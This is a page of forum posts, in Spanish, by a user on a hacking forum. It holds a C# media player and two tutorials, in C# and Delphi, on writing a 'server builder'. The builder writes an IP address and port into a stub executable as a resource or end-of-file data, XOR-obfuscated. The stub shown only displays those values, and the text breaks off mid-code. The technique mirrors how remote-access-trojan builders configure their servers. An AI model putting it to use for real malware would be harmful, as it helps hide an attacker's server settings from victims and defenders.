elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ... 55
71  Programación / .NET (C#, VB.NET, ASP) / [C#] DH Player 1.0 en: 13 Marzo 2015, 15:16 pm
Este vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

* Formatos de musica soportados : mp3,m4a,wma
* Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

Una imagen :



El codigo

Código
  1. // DH Player 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Based on : MP3 Happy Hard Core Player V 1.0 By Steel Karpov
  5. // Thanks to Steel Karpov
  6.  
  7. using System;
  8. using System.Collections.Generic;
  9. using System.Text;
  10. using System.Windows;
  11. using System.Windows.Controls;
  12. using System.Windows.Data;
  13. using System.Windows.Documents;
  14. using System.Windows.Input;
  15. using System.Windows.Media;
  16. using System.Windows.Media.Imaging;
  17. using System.Windows.Navigation;
  18. using System.Windows.Shapes;
  19. using Microsoft.Win32;
  20. using System.IO;
  21. using System.Windows.Threading;
  22. using System.Text.RegularExpressions;
  23.  
  24. namespace DH_Player
  25. {
  26.    /// <summary>
  27.    /// Lógica de interacción para MainWindow.xaml
  28.    /// </summary>
  29.    public partial class MainWindow : Window
  30.    {
  31.        DispatcherTimer control_del_tiempo;
  32.        bool escribiendo;
  33.        bool enalgo;
  34.        bool repeat;
  35.        bool automatic;
  36.        bool pantalla_completa = false;
  37.  
  38.        public MainWindow()
  39.        {
  40.            InitializeComponent();
  41.  
  42.            control_del_tiempo = new DispatcherTimer();
  43.            control_del_tiempo.Interval = TimeSpan.FromSeconds(1);
  44.            control_del_tiempo.Tick += new EventHandler(timer_Tick);
  45.            escribiendo = false;
  46.        }
  47.  
  48.        private void timer_Tick(object sender, EventArgs e)
  49.        {
  50.            if (!escribiendo)
  51.            {
  52.                linea.Value = player.Position.TotalSeconds;
  53.            }
  54.        }
  55.  
  56.        private void retroceder_MouseUp(object sender, MouseButtonEventArgs e)
  57.        {
  58.            if (lista.SelectedIndex != -1)
  59.            {
  60.                cancion_anterior();
  61.            }
  62.        }
  63.  
  64.        private void play_MouseUp(object sender, MouseButtonEventArgs e)
  65.        {
  66.            if (lista.SelectedIndex != -1)
  67.            {
  68.                enalgo = true;
  69.                player.Play();
  70.            }
  71.        }
  72.  
  73.        private void pause_MouseUp(object sender, MouseButtonEventArgs e)
  74.        {
  75.            if (lista.SelectedIndex != -1)
  76.            {
  77.                player.Pause();
  78.                enalgo = false;
  79.            }
  80.        }
  81.  
  82.        private void avanzar_MouseUp(object sender, MouseButtonEventArgs e)
  83.        {
  84.            if (lista.SelectedIndex != -1)
  85.            {
  86.                cancion_siguiente();
  87.            }
  88.        }
  89.  
  90.        private void nombres_MouseDoubleClick(object sender, MouseButtonEventArgs e)
  91.        {
  92.            if (lista.SelectedIndex != -1)
  93.            {
  94.                enalgo = false;
  95.                start_music();
  96.            }
  97.        }
  98.  
  99.        private void start_music()
  100.        {
  101.  
  102.            if (enalgo == true)
  103.            {
  104.                player.Play();
  105.            }
  106.            else
  107.            {
  108.  
  109.                ListBoxItem ruta1 = (ListBoxItem)lista.SelectedItem;
  110.                string ruta = ruta1.Tag.ToString();
  111.                player.Position = TimeSpan.Zero;
  112.                player.LoadedBehavior = MediaState.Manual;
  113.                player.UnloadedBehavior = MediaState.Stop;
  114.                player.Source = new Uri(ruta);
  115.                linea.Value = 0;
  116.                player.Play();
  117.            }
  118.        }
  119.  
  120.        private void cancion_siguiente()
  121.        {
  122.            enalgo = false;
  123.  
  124.            try
  125.            {
  126.  
  127.                if (lista.SelectedIndex + 1 < lista.Items.Count)
  128.                {
  129.                    lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex + 1);
  130.                    start_music();
  131.                }
  132.  
  133.            }
  134.  
  135.            catch
  136.            {
  137.                //
  138.            }
  139.        }
  140.  
  141.        private void cancion_anterior()
  142.        {
  143.            enalgo = false;
  144.  
  145.            try
  146.            {
  147.  
  148.                if (lista.SelectedIndex - 1 < lista.Items.Count)
  149.                {
  150.                    lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex - 1);
  151.                    start_music();
  152.                }
  153.  
  154.            }
  155.  
  156.            catch
  157.            {
  158.                //
  159.            }
  160.        }
  161.  
  162.        private void volumen_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
  163.        {
  164.            try
  165.            {
  166.                player.Volume = volumen.Value;
  167.            }
  168.            catch
  169.            {
  170.                //
  171.            }
  172.        }
  173.  
  174.        private void player_MouseDown(object sender, MouseButtonEventArgs e)
  175.        {
  176.  
  177.            int width_screen = 1400;
  178.            int height_screen = 800;
  179.  
  180.            int width_original = 483;
  181.            int height_original = 372;
  182.  
  183.            if (e.ClickCount == 2 && pantalla_completa == false)
  184.            {
  185.                player.MinHeight = height_screen;
  186.                player.MinWidth = width_screen;
  187.  
  188.                volumen.Visibility = Visibility.Hidden;
  189.                linea.Visibility = Visibility.Hidden;
  190.                play.Visibility = Visibility.Hidden;
  191.                pause.Visibility = Visibility.Hidden;
  192.                avanzar.Visibility = Visibility.Hidden;
  193.                retroceder.Visibility = Visibility.Hidden;
  194.                contenedor1.Visibility = Visibility.Hidden;
  195.                contenedor2.Visibility = Visibility.Hidden;
  196.                lista.Visibility = Visibility.Hidden;
  197.                menu1.Visibility = Visibility.Hidden;
  198.                progreso.Visibility = Visibility.Hidden;
  199.                this.WindowStyle = WindowStyle.None;
  200.                this.WindowState = WindowState.Maximized;
  201.  
  202.                pantalla_completa = true;
  203.  
  204.            }
  205.            else
  206.            {
  207.  
  208.                if (e.ClickCount == 2 && pantalla_completa == true)
  209.                {
  210.                    player.MinHeight = height_original;
  211.                    player.MinWidth = width_original;
  212.  
  213.                    volumen.Visibility = Visibility.Visible;
  214.                    linea.Visibility = Visibility.Visible;
  215.                    play.Visibility = Visibility.Visible;
  216.                    pause.Visibility = Visibility.Visible;
  217.                    avanzar.Visibility = Visibility.Visible;
  218.                    retroceder.Visibility = Visibility.Visible;
  219.                    contenedor1.Visibility = Visibility.Visible;
  220.                    contenedor2.Visibility = Visibility.Visible;
  221.                    lista.Visibility = Visibility.Visible;
  222.                    menu1.Visibility = Visibility.Visible;
  223.                    progreso.Visibility = Visibility.Visible;
  224.                    this.WindowStyle = WindowStyle.SingleBorderWindow;
  225.                    this.WindowState = WindowState.Normal;
  226.  
  227.                    pantalla_completa = false;
  228.  
  229.                }
  230.            }
  231.  
  232.        }
  233.  
  234.        private void player_MediaOpened(object sender, RoutedEventArgs e)
  235.        {
  236.  
  237.            enalgo = true;
  238.  
  239.            if (player.NaturalDuration.HasTimeSpan)
  240.            {
  241.                TimeSpan ts = player.NaturalDuration.TimeSpan;
  242.                linea.Maximum = ts.TotalSeconds;
  243.                linea.SmallChange = 1;
  244.            }
  245.  
  246.            control_del_tiempo.Start();
  247.        }
  248.  
  249.        private void player_MediaEnded(object sender, RoutedEventArgs e)
  250.        {
  251.            linea.Value = 0;
  252.            enalgo = false;
  253.            if (repeat == true)
  254.            {
  255.                start_music();
  256.            }
  257.            if (automatic == true)
  258.            {
  259.                cancion_siguiente();
  260.            }
  261.        }
  262.  
  263.        private void linea_DragStarted(object sender, System.Windows.Controls.Primitives.DragStartedEventArgs e)
  264.        {
  265.            escribiendo = true;
  266.        }
  267.  
  268.        private void linea_DragCompleted(object sender, System.Windows.Controls.Primitives.DragCompletedEventArgs e)
  269.        {
  270.            escribiendo = false;
  271.            player.Position =
  272.                TimeSpan.FromSeconds(linea.Value);
  273.        }
  274.  
  275.        private void linea_MouseLeftButtonUp(object sender, MouseButtonEventArgs e)
  276.        {
  277.            player.Position = TimeSpan.FromSeconds(linea.Value);
  278.        }
  279.  
  280.        private void linea_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
  281.        {
  282.            try
  283.            {
  284.                string tiempo = TimeSpan.FromSeconds(linea.Value).ToString();
  285.                int cantidad = (int)player.NaturalDuration.TimeSpan.TotalSeconds;
  286.  
  287.                TimeSpan tiempo_final = TimeSpan.FromSeconds(cantidad);
  288.  
  289.                Match regex = Regex.Match(tiempo, @"(.*)\.(.*)", RegexOptions.IgnoreCase);
  290.                if (regex.Success)
  291.                {
  292.                    progreso.Content = regex.Groups[1].Value + " / " + tiempo_final;
  293.                }
  294.            }
  295.            catch
  296.            {
  297.                //
  298.            }
  299.        }
  300.  
  301.        private void nombres_DragEnter(object sender, DragEventArgs e)
  302.        {
  303.            if (e.Data.GetDataPresent(DataFormats.FileDrop))
  304.            {
  305.                e.Effects = DragDropEffects.Copy;
  306.            }
  307.            else
  308.            {
  309.                e.Effects = DragDropEffects.None;
  310.            }
  311.        }
  312.  
  313.        private void nombres_Drop(object sender, DragEventArgs e)
  314.        {
  315.            List<string> archivos = new List<string>((string[])e.Data.GetData(DataFormats.FileDrop));
  316.            foreach (string archivo in archivos)
  317.            {
  318.                string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  319.                string extension = System.IO.Path.GetExtension(archivo);
  320.                if (extension == ".mp3" || extension == ".avi" || extension==".m4a" || extension==".wma" || extension==".mp4" || extension==".flv" || extension==".mkv" || extension==".wmv" || extension==".mpg")
  321.                {
  322.                    ListBoxItem item1 = new ListBoxItem();
  323.                    item1.Content = nombre;
  324.                    item1.Tag = archivo;
  325.                    lista.Items.Add(item1);
  326.                }
  327.            }
  328.        }
  329.  
  330.        private void MenuItem_Click(object sender, RoutedEventArgs e)
  331.        {
  332.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  333.            openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
  334.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  335.            openFileDialog1.Multiselect = true;
  336.            openFileDialog1.Title = "Select Song";
  337.            Nullable<bool> result = openFileDialog1.ShowDialog();
  338.            if (result == true)
  339.            {
  340.  
  341.                string[] archivos = openFileDialog1.FileNames;
  342.                foreach (string archivo in archivos)
  343.                {
  344.                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  345.                    ListBoxItem item1 = new ListBoxItem();
  346.                    item1.Content = nombre;
  347.                    item1.Tag = archivo;
  348.                    lista.Items.Add(item1);
  349.                }
  350.            }
  351.        }
  352.  
  353.        private void MenuItem_Click_1(object sender, RoutedEventArgs e)
  354.        {
  355.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  356.            openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
  357.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  358.            openFileDialog1.Multiselect = true;
  359.            openFileDialog1.Title = "Select Song";
  360.            Nullable<bool> result = openFileDialog1.ShowDialog();
  361.            if (result == true)
  362.            {
  363.                string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
  364.                string[] archivos = Directory.GetFiles(directorio);
  365.                foreach (string archivo in archivos)
  366.                {
  367.                    string extension = System.IO.Path.GetExtension(archivo);
  368.                    if (extension == ".mp3" || extension == ".m4a" || extension==".wma")
  369.                    {
  370.                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  371.                        ListBoxItem item1 = new ListBoxItem();
  372.                        item1.Content = nombre;
  373.                        item1.Tag = archivo;
  374.                        lista.Items.Add(item1);
  375.                    }
  376.                }
  377.            }
  378.        }
  379.  
  380.        private void MenuItem_Click_2(object sender, RoutedEventArgs e)
  381.        {
  382.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  383.            openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
  384.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  385.            openFileDialog1.Multiselect = true;
  386.            openFileDialog1.Title = "Select Video";
  387.            Nullable<bool> result = openFileDialog1.ShowDialog();
  388.            if (result == true)
  389.            {
  390.                string[] archivos = openFileDialog1.FileNames;
  391.                foreach (string archivo in archivos)
  392.                {
  393.                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  394.                    ListBoxItem item1 = new ListBoxItem();
  395.                    item1.Content = nombre;
  396.                    item1.Tag = archivo;
  397.                    lista.Items.Add(item1);
  398.                }
  399.            }
  400.        }
  401.  
  402.        private void MenuItem_Click_3(object sender, RoutedEventArgs e)
  403.        {
  404.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  405.            openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
  406.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  407.            openFileDialog1.Multiselect = true;
  408.            openFileDialog1.Title = "Select Videos";
  409.            Nullable<bool> result = openFileDialog1.ShowDialog();
  410.            if (result == true)
  411.            {
  412.                string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
  413.                string[] archivos = Directory.GetFiles(directorio);
  414.                foreach (string archivo in archivos)
  415.                {
  416.                    string extension = System.IO.Path.GetExtension(archivo);
  417.                    if (extension == ".avi" || extension==".mp4" || extension ==".flv" || extension==".mkv" || extension ==".wmv" || extension==".mpg")
  418.                    {
  419.                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  420.                        ListBoxItem item1 = new ListBoxItem();
  421.                        item1.Content = nombre;
  422.                        item1.Tag = archivo;
  423.                        lista.Items.Add(item1);
  424.                    }
  425.                }
  426.            }
  427.        }
  428.  
  429.        private void MenuItem_Click_4(object sender, RoutedEventArgs e)
  430.        {
  431.            repeat = true;
  432.        }
  433.  
  434.        private void MenuItem_Click_5(object sender, RoutedEventArgs e)
  435.        {
  436.            repeat = false;
  437.        }
  438.  
  439.        private void MenuItem_Click_6(object sender, RoutedEventArgs e)
  440.        {
  441.            automatic = true;
  442.        }
  443.  
  444.        private void MenuItem_Click_7(object sender, RoutedEventArgs e)
  445.        {
  446.            automatic = false;
  447.        }
  448.  
  449.        private void MenuItem_Click_10(object sender, RoutedEventArgs e)
  450.        {
  451.            player.IsMuted = true;
  452.        }
  453.  
  454.        private void MenuItem_Click_11(object sender, RoutedEventArgs e)
  455.        {
  456.            player.IsMuted = false;
  457.        }
  458.  
  459.        private void MenuItem_Click_8(object sender, RoutedEventArgs e)
  460.        {
  461.            MessageBox.Show("Written By Doddy Hackman in the summer of 2015");
  462.        }
  463.  
  464.        private void MenuItem_Click_9(object sender, RoutedEventArgs e)
  465.        {
  466.            Application.Current.Shutdown();
  467.        }
  468.  
  469.        private void MenuItem_Click_12(object sender, RoutedEventArgs e)
  470.        {
  471.            lista.Items.Clear();
  472.        }
  473.  
  474.    }
  475. }
  476.  
  477. // The End ?
  478.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso es todo.
72  Programación / .NET (C#, VB.NET, ASP) / [C#] Creacion de un Server Builder con recursos en: 10 Marzo 2015, 18:08 pm
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en C# con recursos , en el manual anterior les enseñe como hacerlo mediante EOF , una mejor forma de hacer un server builder es usando recursos.

Empecemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

"Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms" y le damos en aceptar

Como en la siguiente imagen :



Ahora tenemos que crear dos edit y un boton con el texto "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto de los edits de la siguiente forma :

textBox1 -> ip
textBox2 -> port

Para empezar vamos al inicio del codigo del programa y agregamos el siguiente codigo para poder manejar recursos :

Código
  1. using System.CodeDom.Compiler;
  2. using Microsoft.CSharp;
  3. using System.IO;
  4. using System.Resources;
  5.  

Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código
  1. private void button1_Click(object sender, EventArgs e)
  2. {
  3. string linea = "-ip-"+ip.Text+"-ip-"+"-port-"+port.Text+"-port-"; // Establecemos la variable "linea" como los datos de la IP y el puerto
  4.  
  5. System.Resources.ResourceWriter escribiendo = new System.Resources.ResourceWriter("configuration.resources"); // Empezamos a escribir el
  6. // recurso "configuration"
  7.  
  8. escribiendo.AddResource("configuration",linea); // Agregamos el recurso "configuration" con los datos de la variable "linea"
  9. escribiendo.Close(); // Guarda los recursos y se cierra
  10.  
  11. System.CodeDom.Compiler.CompilerParameters compilador = new System.CodeDom.Compiler.CompilerParameters(); // Iniciamos la instancia CompilerParameters
  12.  
  13. compilador.GenerateExecutable = true; // Aclaramos que queremos que genere un ejecutable
  14. compilador.OutputAssembly = "stub.exe"; // Establecemos el nombre del ejecutable a generar
  15. compilador.ReferencedAssemblies.Add("System.dll"); // Agregamos el ensamblado System
  16. compilador.ReferencedAssemblies.Add("System.Windows.Forms.dll"); // Agregamos el ensamblado System.Windows.Forms
  17. compilador.EmbeddedResources.Add("configuration.resources"); // Agregamos los recursos que se van a incluir en el ejecutable resultante
  18. compilador.CompilerOptions += "/t:winexe"; // Establecemos los argumentos de la linea de comandos que usara el compilador
  19.  
  20. System.CodeDom.Compiler.CompilerResults final = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(compilador, Properties.Resources.stub);
  21.  
  22. // Compilamos el recurso
  23.  
  24. if (File.Exists("configuration.resources")) // Si existe el archivo "configuration.resources" ...
  25. {
  26. System.IO.File.Delete("configuration.resources"); // Lo borramos
  27. }
  28. MessageBox.Show("Done"); // Mostramos por pantalla un mensaje para decir que el stub esta listo
  29. }
  30.  

El codigo les deberia ver algo asi :



Con eso ya tendriamos hecho el builder.

0x03 : Creacion del stub

Para hacer el stub , tenemos que seguir en el mismo proyecto , entonces vamos a "Proyecto->Propiedades" y seleccionamos la pestaña de "Recursos" , les deberia aperecer esta ventana :



Ahora hacemos click en "Agregar recurso" y seleccionamos "Agregar nuevo archivo de texto" , entonces nos va a aparecer una nueva ventana y escriben "stub".

Como en la siguiente imagen :



Una vez completado veran que pueden escribir en el stub.txt , tienen que poner el siguiente codigo :

Código
  1. using System;
  2. using System.Text;
  3. using System.Windows.Forms;
  4. using System.Resources;
  5. using System.Text.RegularExpressions;
  6.  
  7. namespace stub
  8. {
  9.    class Program
  10.    {
  11.        static void Main()
  12.        {
  13.  
  14.            string ip = ""; // Declaramos la variable string "ip" que contendra la IP
  15.            string port = ""; // Declaramos la variable string "port" que contendra el puerto
  16.  
  17.            ResourceManager leyendo_recurso = new ResourceManager("configuration", System.Reflection.Assembly.GetExecutingAssembly()); // Cargamos los datos
  18.            // del recurso "configuration"
  19.  
  20.            string datos = leyendo_recurso.GetString("configuration"); // Leemos los datos del recurso "configuration"
  21.  
  22.            Match regex = Regex.Match(datos, "-ip-(.*?)-ip--port-(.*?)-port-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la IP
  23.            // y el puerto
  24.            if (regex.Success) // Si se encontro algo ...
  25.            {
  26.                ip = regex.Groups[1].Value; // Guardamos la IP encontrada en la variable "ip"
  27.                port = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "port"
  28.            }
  29.  
  30.            MessageBox.Show("[+] IP : " + ip); // Mostramos la IP con un mensaje usando la variable "ip"
  31.            MessageBox.Show("[+] Port : " + port); // Mostramos el puerto con un mensaje usando la variable "port"
  32.  
  33.        }
  34.    }
  35. }
  36.  

Una imagen de como deberia quedar :



Con eso ya terminamos el stub.

0x04 : Probando el programa

Una vez terminado el programa podremos probarlo , entonces cargamos el builder y pongan los datos que quieran , le dan al boton "Make Server" y despues cargan el stub para mostrar los datos cargados desde el builder.

Les deberia que quedar algo asi :









0x05 : Builder Tools

Como regalo les dejo una clase en C# que hice para aplicar el metodo EOF de una forma mas facil y segura (datos cifrados con XOR).

El codigo viene con ejemplos de uso y tiene el siguiente codigo :

Código
  1. // Class Name : Builder Tools
  2. // Version : 0.1
  3. // (C) Doddy Hackman 2015
  4. //
  5. // Examples :
  6. //builder_tools tools = new builder_tools();
  7. //tools.escribir_eof("stub.exe","hola mundo de ***** [ip]morite[ip][port]sdasd[port]","key");
  8. //Console.Write(tools.leer_eof("stub.exe", "key"));
  9. //
  10.  
  11. using System;
  12. using System.Collections.Generic;
  13. using System.Text;
  14.  
  15. using System.IO;
  16. using System.Text.RegularExpressions;
  17.  
  18. namespace builder
  19. {
  20.    class builder_tools
  21.    {
  22.        public string xor_now(string linea, string key)
  23.        {
  24.            // Credits : Based on http://stackoverflow.com/questions/2532668/help-me-with-xor-encryption
  25.            // Thanks to Daniel Earwicker
  26.            var contenido = new StringBuilder();
  27.            for (int i = 0; i < linea.Length; i++)
  28.            {
  29.                contenido.Append((char)((uint)linea[i] ^ (uint)key[i % key.Length]));
  30.            }
  31.            return contenido.ToString();
  32.        }
  33.  
  34.        public bool escribir_eof(string archivo, string texto, string key)
  35.        {
  36.            string delimitador = "-0x646F646479206861636B6D616E-";
  37.  
  38.            FileStream abriendo = new FileStream(archivo, FileMode.Append);
  39.            BinaryWriter seteando = new BinaryWriter(abriendo);
  40.            seteando.Write(delimitador + xor_now(texto, key) + delimitador);
  41.            seteando.Flush();
  42.            seteando.Close();
  43.            abriendo.Close();
  44.  
  45.            return true;
  46.        }
  47.  
  48.        public string leer_eof(string archivo, string key)
  49.        {
  50.            StreamReader viendo = new StreamReader(archivo);
  51.  
  52.            string contenido = viendo.ReadToEnd();
  53.            string rta = "";
  54.  
  55.            Match regex = Regex.Match(contenido, "-0x646F646479206861636B6D616E-(.*?)-0x646F646479206861636B6D616E-", RegexOptions.IgnoreCase);
  56.  
  57.            if (regex.Success)
  58.            {
  59.                rta = xor_now(regex.Groups[1].Value, key);
  60.            }
  61.            else
  62.            {
  63.                rta = "WTF!";
  64.            }
  65.  
  66.            return rta;
  67.        }
  68.    }
  69. }
  70.  
  71. // The End ?
  72.  

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en Video Tutorial :

73  Programación / Programación General / [Delphi] Creacion de un Server Builder con recursos en: 9 Marzo 2015, 18:45 pm
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en Delphi usando recursos , en el manual anteior les enseñe como hacerlo mediante EOF , algo que no era muy seguro porque los datos estaban en texto plano y se podian leer facilmente , mediante recursos es diferente y para asegurarlo vamos a usar XOR para eso.

Empecemos ...

0x02 : Creacion del builder

Primero vamos hacer el builder , para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



Ahora creamos dos edit y boton con el texto de "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto que tienen los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

Una vez hecho , hacemos doble click en el boton y agregamos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  archivo: string; // Declaramos la variable "archivo" como string
  4.  datos: string; // Declaramos la variable "datos" como string
  5.  clave: integer; // Declaramos la variable "clave" como integer
  6. begin
  7.  archivo := 'stubnow.exe';
  8.  // Establecemos la variable "archivo" como el nombre del ejecutable
  9.  // que vamos abrir
  10.  datos := '[ip]' + ip.Text + '[ip]' + '[port]' + port.Text + '[port]';
  11.  // Establecemos los datos que contiene la IP y el puerto separados por etiquetas
  12.  // y los guardamos en la variable "datos"
  13.  clave := 123; // Establecemos la variable "clave" como "123"
  14.  escribir_recurso(archivo, datos, clave);
  15.  // Escribimos el recurso usando la funcion
  16.  // "escribir_recurso" usando como argumentos las variables que acabamos de establecer
  17.  ShowMessage('Done'); // Mostramos un mensaje en pantalla
  18. end;
  19.  

Fuera del codigo de la funcion "click" del boton agregamos el codigo de estas dos funciones :

Código
  1. function xor_now(texto: string; clave: integer): string;
  2. // Funcion xor_now con el argumento
  3. // del texto a crifrar y la clave a usar
  4.  
  5. var
  6.  numero: integer; // Declaramos la variable "numero" como entero
  7.  contenido: string; // Declaramos la variable "contenido" como string
  8. begin
  9.  contenido := ''; // Vaciamos la variable contenido
  10.  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  11.  // a la longitud de la variable texto
  12.  begin
  13.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  14.    // Realizamos el cifrado xor
  15.  end;
  16.  Result := contenido; // Devolvemos como resultado la variable "contenido"
  17. end;
  18.  
  19. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  20. var
  21.  escribiendo: THandle; // Declaramos la variable "escribiendo" como THandle
  22. begin
  23.  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
  24.    '-0x646F646479206861636B6D616E-', clave);
  25.  // Ciframos los datos usando la funcion xor_now
  26.  // Los parametros que usamos en la funcion xor_now son la variable "datos" como el texto
  27.  // a cifrar , los "datos" estan entre dos delimitadores para facilitar su busqueda y
  28.  // tambien usamos la variable "clave" como key en el cifrado xor
  29.  escribiendo := BeginUpdateResource(pchar(ruta), False);
  30.  // Empezamos el inicio de de la creacion
  31.  // del recurso usando la variable "ruta"
  32.  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
  33.    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  34.  // Escribimos el recurso usando
  35.  // la variable "datos" como el contenido del recurso y como nombre del recurso usamos
  36.  // "CONFIGURATION"
  37.  EndUpdateResource(escribiendo, False); // Terminamos de crear el recurso
  38.  Result := True; // Devolvemos True como resultado de la funcion
  39. end;
  40.  

Les deberia quedar algo asi :



Con eso ya estaria el builder entonces guardamos el proyecto como "builder_now" o como quieran para terminar el builder.

0x03 : Creacion del stub

Ahora vamos a codear el Stub para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



La idea es buscar el recurso en el ejecutable mismo , entonces para eso vamos a crear dos edits y un boton con el texto de "Get Values".

Despues deben poner como titulo del formulario "Stub" y cambiar los names de los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

El formulario les deberia quedar algo asi :



Ahora hacemos doble click en el boton y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  clave: integer; // Declaramos la variable "clave" como integer
  4.  datos: string; // Declaramos la variable "datos" como string
  5.  ip_found: string; // Declaramos la variable "ip_found" como string
  6.  port_found: string; // Declaramos la variable "port_found" como string
  7. begin
  8.  clave := 123; // Establecemos la variable "clave" como 123
  9.  datos := leer_recurso(clave); // Leemos el recurso usando el key que esta
  10.  // en la variable clave y guardamos los datos en la variable "datos"
  11.  ip_found := regex(datos, '[ip]', '[ip]');
  12.  // Usamos la funcion regex() para buscar
  13.  // la ip y la guardamos en la variable "ip_found"
  14.  port_found := regex(datos, '[port]', '[port]');
  15.  // Usamos la funcion regex() para
  16.  // buscar el puerto y lo guardamos en la variable "port_found"
  17.  ip.text := ip_found; // Mostramos en el edit "ip" la IP
  18.  port.text := port_found; // Mostramos en el edit "port" el puerto
  19.  ShowMessage('Loaded'); // Mostramos en pantalla un mensaje
  20. end;
  21.  

Despues ponemos las siguientes funciones fuera del codigo del boton :

Código
  1. function regex(text: string; deaca: string; hastaaca: string): string;
  2. begin
  3.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  4.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  5.  Result := text;
  6. end;
  7.  
  8. function xor_now(texto: string; clave: integer): string;
  9. // Funcion xor_now con el argumento
  10. // del texto a crifrar y la clave a usar
  11.  
  12. var
  13.  numero: integer; // Declaramos la variable "numero" como entero
  14.  contenido: string; // Declaramos la variable "contenido" como string
  15. begin
  16.  contenido := ''; // Vaciamos la variable contenido
  17.  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  18.  // a la longitud de la variable texto
  19.  begin
  20.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  21.    // Realizamos el cifrado xor
  22.  end;
  23.  Result := contenido; // Devolvemos como resultado la variable contenido
  24. end;
  25.  
  26. function leyendo_recurso: string;
  27. var
  28.  leyendo1: HRSRC; // Establecemos la variable "leyendo1" como HRSRC
  29.  leyendo2: DWORD; // Establecemos la variable "leyendo2" como DWORD
  30.  leyendo3: THandle; // Establecemos la variable "leyendo3" como THandle
  31.  leyendo4: pointer; // Establecemos la variable "leyendo4" como Pointer
  32. begin
  33.  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  34.  // Buscamos el recurso
  35.  // "CONFIGURATION"
  36.  leyendo2 := SizeofResource(hInstance, leyendo1);
  37.  // Calculamos la tamaño del recurso
